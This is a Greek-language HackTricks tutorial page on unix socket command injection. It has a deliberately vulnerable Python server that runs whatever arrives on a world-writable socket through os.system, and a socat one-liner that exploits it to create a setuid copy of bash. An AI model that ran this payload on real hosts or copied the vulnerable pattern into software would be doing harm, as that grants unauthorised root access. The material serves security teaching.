Socket Command Injection

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Παράδειγμα σύνδεσης socket με Python

Στο παρακάτω παράδειγμα δημιουργείται ένα unix socket (/tmp/socket_test.s) και ό,τι λαμβάνεται θα εκτελείται από την os.system. Ξέρω ότι δεν θα βρείτε κάτι τέτοιο στον πραγματικό κόσμο, αλλά ο σκοπός αυτού του παραδείγματος είναι να δείτε πώς φαίνεται ένας κώδικας που χρησιμοποιεί unix sockets και πώς να διαχειριστείτε την είσοδο στη χειρότερη περίπτωση.

s.py
import socket
import os, os.path
import time
from collections import deque

if os.path.exists("/tmp/socket_test.s"):
os.remove("/tmp/socket_test.s")

server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind("/tmp/socket_test.s")
os.system("chmod o+w /tmp/socket_test.s")
while True:
server.listen(1)
conn, addr = server.accept()
datagram = conn.recv(1024)
if datagram:
print(datagram)
os.system(datagram)
conn.close()

Εκτελέστε τον κώδικα χρησιμοποιώντας την python: python s.py και ελέγξτε πώς ακούει το socket:

netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
unix  2      [ ACC ]     STREAM     LISTENING     901181   132748/python        /tmp/socket_test.s

Εκμεταλλευτείτε

echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated